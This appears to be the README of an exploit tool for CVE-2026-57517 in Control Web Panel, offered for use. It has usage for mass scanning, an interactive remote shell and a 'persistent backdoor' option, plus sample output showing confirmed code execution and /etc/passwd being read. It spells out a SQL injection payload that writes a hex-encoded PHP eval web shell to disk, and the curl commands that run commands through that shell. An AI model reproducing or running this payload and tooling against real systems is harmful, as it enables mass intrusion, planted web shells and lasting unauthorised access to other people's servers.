CVE-2026-57517

git clone https://github.com/shinthink/CVE-2026-57517.git
cd CVE-2026-57517
pip install -r requirements.txt

# Single target (auto-detect username)
python cve_2026_57517.py -t 192.168.1.100

# Single target with known username
python cve_2026_57517.py -t 192.168.1.100 -u cwpsvc

# Mass scan
python cve_2026_57517.py -f targets.txt -o live.txt

# Interactive shell
python cve_2026_57517.py -t target.com --rce -u cwpsvc

# Persistent backdoor (no auto-cleanup)
python cve_2026_57517.py -t target.com --no-cleanup

  -t, --target      Single target host
  -f, --file        File with targets (one per line)
  -u, --username    CWP username (skips auto-detection)
  -o, --output      Live TXT output file
  --json            JSON report file
  --threads         Concurrent workers (default: 20)
  --timeout         Request timeout seconds (default: 15)
  --no-cleanup      Leave shells on target
  --rce             Interactive shell mode
  -v, --verbose     Verbose output

$ python cve_2026_57517.py -f targets.txt -o live.txt -v

────────────────────────────────────────────────────────────
  CVE-2026-57517 | 5 targets | 20 threads
  Cleanup: yes
  Live TXT: live.txt
────────────────────────────────────────────────────────────

  ✅ 192.168.10.100:2083  [rce_confirmed]  18.2s
     User  : admin
     Shell : https://192.168.10.100:2031/roundcube/logs/cwp_a3f2b9c1d8e4.php
     RCE   : uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc)
             cwp-prod-01.example.com
     whoami: cwpsvc

  ⚠️ 192.168.10.200:2083  [sqli_failed]  12.1s
     User  : cwpsvc
     Error : SQL injection failed — target may be patched or path not writable

  · 192.168.10.50:2083  [not_cwp]  2.3s

==================================================
  SCAN SUMMARY
==================================================
  Total      : 5
  ✅ RCE      : 2
  ⚠️  SQLi Fail : 1
  🔍 No User  : 1
  ·  Not CWP  : 1
==================================================

$ python cve_2026_57517.py -t target.com --rce -u admin

  CWP Interactive Shell — target.com
  Type 'exit' to quit, 'cleanup' to remove shell

cwp$ id
uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc)

cwp$ hostname
cwp-prod-01

cwp$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
cwpsvc:x:1001:1001::/home/cwpsvc:/bin/bash

cwp$ exit

curl -sk 'https://target.com:2083/' | grep -i 'control web panel\|CWP'

curl -sk -o /dev/null -w "%{http_code}" 'https://target.com:2083/admin/'
# 200 = user exists

" UNION SELECT 1,0x{HEX_PHP_SHELL},3,4,5,6,7,8,9,10,11,12,13
INTO DUMPFILE '/usr/local/cwpsrv/var/services/roundcube/logs/shell.php' #

# The tool handles hex encoding automatically. Manual equivalent:
PAYLOAD='" UNION SELECT 1,0x3c3f706870206576616c286261736536345f6465636f646528245f5345525645525b22485454505f43225d29293b203f3e,3,4,5,6,7,8,9,10,11,12,13 INTO DUMPFILE '\''/usr/local/cwpsrv/var/services/roundcube/logs/shell.php'\'' #'

curl -sk 'https://target.com:2083/admin/' \
  -d "userRes=$PAYLOAD"

<?php eval(base64_decode($_SERVER['HTTP_C'])); ?>

# Base64-encode: print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';
PHP=$(echo "print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';" | base64 -w0)

curl -sk 'https://target.com:2031/roundcube/logs/shell.php' -H "C: $PHP"
# uid=1001(cwpsvc) gid=1001(cwpsvc)